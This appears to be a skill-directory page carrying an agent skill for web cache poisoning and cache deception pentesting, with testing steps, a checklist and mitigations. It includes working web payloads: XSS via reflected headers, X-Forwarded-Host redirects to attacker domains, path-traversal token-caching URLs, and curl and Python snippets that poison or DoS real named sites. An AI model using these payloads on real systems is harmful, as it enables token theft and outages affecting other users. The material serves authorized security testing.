# Cache Poisoning Pentest

> Web cache poisoning and cache deception testing for security assessments. Use this skill whenever the user mentions cache vulnerabilities, CDN security, web cache poisoning, cache deception, HTTP caching issues, or wants to test for cache-related vulnerabilities in web applications. This includes testing for unkeyed inputs, header manipulation, path traversal cache attacks, and extension-based cache deception.

- Skill: `abelrguezr/cache-poisoning-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/cache-poisoning-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/cache-poisoning-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/cache-poisoning-pentest

---


# Cache Poisoning & Cache Deception Testing

A comprehensive skill for testing web cache vulnerabilities including cache poisoning and cache deception attacks.

## Quick Start

```bash
# Test a target for cache poisoning
python scripts/cache_test.py -u https://target.com -o results.json

# Test for cache deception
python scripts/cache_deception_test.py -u https://target.com
```

## Understanding Cache Vulnerabilities

### Cache Poisoning vs Cache Deception

| Cache Poisoning | Cache Deception |
|----------------|----------------|
| Attacker stores **malicious content** in cache | Attacker stores **sensitive content** in cache |
| Served to **other users** | Attacker **retrieves** the cached sensitive data |
| Impact: XSS, redirects, DoS | Impact: Data theft, account takeover |

### The Attack Flow

1. **Identify unkeyed inputs** - Parameters/headers that affect response but aren't in cache key
2. **Exploit the input** - Manipulate to change server response
3. **Get it cached** - Ensure the poisoned response is stored
4. **Verify impact** - Confirm other users receive the poisoned content

## Discovery Phase

### Step 1: Check Cache Headers

Look for these headers in responses:

| Header | What to Look For |
|--------|------------------|
| `X-Cache` | `HIT` vs `MISS` indicates caching |
| `Cache-Control` | `public`, `max-age` values |
| `Vary` | Headers used in cache key |
| `Age` | Seconds in cache |
| `CF-Cache-Status` | Cloudflare cache status |

**Action:** Send requests and check if responses include cache indicators. Use the `cache_test.py` script to automate this.

### Step 2: Test for Caching Error Codes

Some caches store error responses:

```bash
# Send malformed request to trigger 400
curl -H "Invalid-Header: test" https://target.com/

# Then access normally - if you get 400, it's cached
curl https://target.com/
```

**Warning:** Not all caches store error codes. This test may not be reliable.

### Step 3: Identify Unkeyed Inputs

Use these techniques:

1. **Param Miner** (Burp extension) - Brute-force parameters and headers
2. **Manual testing** - Try common unkeyed headers:
   - `X-Forwarded-For`
   - `X-Forwarded-Host`
   - `X-Forwarded-Scheme`
   - `X-Host`
   - `X-HTTP-Method-Override`
   - `Content-Type`
   - `User-Agent`

3. **Run the discovery script:**
   ```bash
   python scripts/cache_test.py -u https://target.com --discover
   ```

## Exploitation Patterns

### Pattern 1: Header Reflection XSS

**Scenario:** A header is reflected unsanitized in the response.

**Exploit:**
```http
GET /page HTTP/1.1
Host: target.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```

**Verify:** Access the page without the header - if XSS persists, cache is poisoned.

### Pattern 2: Host Header Spoofing

**Scenario:** `X-Forwarded-Host` affects redirects/URLs but isn't in cache key.

**Exploit:**
```http
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
```

**Impact:** Global redirect to attacker domain, stored XSS via Open Graph tags.

### Pattern 3: Content-Type Manipulation

**Scenario:** Backend errors on unexpected `Content-Type`, cache stores error.

**Exploit:**
```bash
curl -H "Content-Type: invalid-value" https://target.com/page
curl -X PURGE https://target.com/page  # If PURGE is enabled
```

**Impact:** DoS for all users, or error page caching.

### Pattern 4: Path Traversal Cache Deception

**Scenario:** CDN caches by extension, origin normalizes paths.

**Exploit:**
```
https://target.com/share/%2F..%2Fapi/auth/session?cachebuster=123
```

**Flow:**
1. CDN sees `.js` extension → caches response
2. Origin decodes `%2F..%2F` → serves `/api/auth/session`
3. Auth token gets cached publicly
4. Attacker retrieves cached token

### Pattern 5: Extension-Based Cache Deception

**Scenario:** Sensitive pages return HTML but path has static extension.

**Test URLs:**
```
https://target.com/profile.php/nonexistent.js
https://target.com/profile.php/.css
https://target.com/profile.php/../test.js
https://target.com/profile.php/%2e%2e/test.js
```

**Verify:** Check if response contains sensitive data AND has cache headers.

### Pattern 6: Fat Get Attack

**Scenario:** Cache uses URL params, backend uses body params.

**Exploit:**
```
GET /page?param=attacker HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

param=victim
```

**Impact:** Victim's data cached under attacker's URL.

### Pattern 7: Vary Header Exploitation

**Scenario:** `Vary: User-Agent` limits cache poisoning to specific user agents.

**Exploit:**
```http
GET / HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-Host: attacker.com
```

**Requirement:** Know victim's User-Agent to poison their cache variant.

### Pattern 8: CSPT + Cache Deception (Account Takeover)

**Scenario:** SPA with client-side path traversal + extension-based caching.

**Exploit Chain:**
1. Lure victim to: `https://target.com/user?userId=../../../v1/token.css`
2. SPA fetches: `https://api.target.com/v1/users/info/../../../v1/token.css`
3. Browser normalizes to: `https://api.target.com/v1/token.css`
4. CDN caches JSON with auth token (public, max-age=86400)
5. Attacker GETs the same URL → retrieves token

**Preconditions:**
- SPA attaches auth headers to API calls
- CDN caches by extension, not content-type
- No `Vary` on auth headers

## Case Studies

### HackerOne: Global Redirect via X-Forwarded-Host

**Vulnerability:** Origin used `X-Forwarded-Host` for redirects, cache key only used `Host`.

**Poison:**
```http
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
```

**Impact:** All visitors redirected to attacker domain.

### GitHub: Repository DoS via Content-Type + PURGE

**Vulnerability:** Anonymous traffic keyed on path only, backend errored on bad `Content-Type`.

**Exploit:**
```bash
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
```

**Impact:** DoS for all unauthenticated users of the repo.

### Shopify: Cross-Host Persistence

**Vulnerability:** Shared cache across multiple hosts.

**Exploit:**
```python
import requests, time
for i in range(100):
    requests.get("https://shop.shopify.com/endpoint",
                 headers={"X-Forwarded-Host": "attacker.com"})
    time.sleep(0.1)
```

**Impact:** Cache poisoning across multiple properties.

### GitLab: Static DoS via X-HTTP-Method-Override

**Vulnerability:** GCS honored `X-HTTP-Method-Override`, cache ignored HTTP method.

**Exploit:**
```http
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
```

**Impact:** Empty JS bundle cached, UI DoS.

## Testing Checklist

### Initial Reconnaissance
- [ ] Check `X-Cache`, `Cache-Control`, `Vary` headers
- [ ] Identify CDN/proxy in use (Cloudflare, Akamai, Fastly, etc.)
- [ ] Map cacheable vs non-cacheable endpoints
- [ ] Test error code caching (400, 403, 404)

### Unkeyed Input Discovery
- [ ] Test `X-Forwarded-Host`, `X-Forwarded-For`, `X-Forwarded-Scheme`
- [ ] Test `X-Host`, `X-HTTP-Method-Override`
- [ ] Test `Content-Type`, `User-Agent`
- [ ] Use Param Miner or `cache_test.py --discover`
- [ ] Check for header reflection in responses

### Cache Deception Testing
- [ ] Append `.js`, `.css`, `.png` to dynamic endpoints
- [ ] Test path traversal: `/page.php/../static.js`
- [ ] Test URL encoding: `/page.php/%2e%2e/test.js`
- [ ] Check for sensitive data in cached responses
- [ ] Verify `Content-Type` vs file extension mismatch

### Exploitation Verification
- [ ] Poison cache with test payload
- [ ] Access from different IP/browser
- [ ] Confirm payload persists without original headers
- [ ] Check `X-Cache: HIT` on subsequent requests
- [ ] Document blast radius (affected endpoints, users)

## Automated Testing

### Using the Cache Test Script

```bash
# Basic cache vulnerability scan
python scripts/cache_test.py -u https://target.com

# Discovery mode - find unkeyed inputs
python scripts/cache_test.py -u https://target.com --discover

# Test specific headers
python scripts/cache_test.py -u https://target.com --headers "X-Forwarded-Host,X-Forwarded-For"

# Output to JSON
python scripts/cache_test.py -u https://target.com -o results.json
```

### Using the Cache Deception Script

```bash
# Test for cache deception vulnerabilities
python scripts/cache_deception_test.py -u https://target.com

# Test specific extensions
python scripts/cache_deception_test.py -u https://target.com --extensions ".js,.css,.json"

# Include path traversal tests
python scripts/cache_deception_test.py -u https://target.com --traversal
```

## Mitigation Recommendations

### For Cache Poisoning
1. **Use proper Vary headers** - Include all headers that affect response
2. **Validate and sanitize** - Never trust `X-Forwarded-*` headers
3. **Cache only safe responses** - Don't cache error pages or dynamic content
4. **Use cache tags** - Implement cache invalidation strategies
5. **Monitor cache headers** - Alert on unexpected cache behavior

### For Cache Deception
1. **Cache by Content-Type** - Not just file extension
2. **Validate paths** - Reject path traversal attempts
3. **Use Vary: Authorization** - For authenticated endpoints
4. **Set proper Cache-Control** - `no-store` for sensitive data
5. **Implement SRI** - For static assets

## References

- [PortSwigger Web Cache Poisoning](https://portswigger.net/web-security/web-cache-poisoning)
- [PortSwigger Web Cache Deception](https://portswigger.net/web-security/web-cache-deception)
- [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)
- [toxicache](https://github.com/xhzeem/toxicache)
- [CacheDecepHound](https://github.com/g4nkd/CacheDecepHound)

## Legal Disclaimer

Only test systems you have explicit authorization to assess. Cache poisoning can cause DoS and affect real users. Always:
- Get written authorization
- Use cache busters during testing
- Test in staging when possible
- Have a rollback plan
- Document all findings responsibly

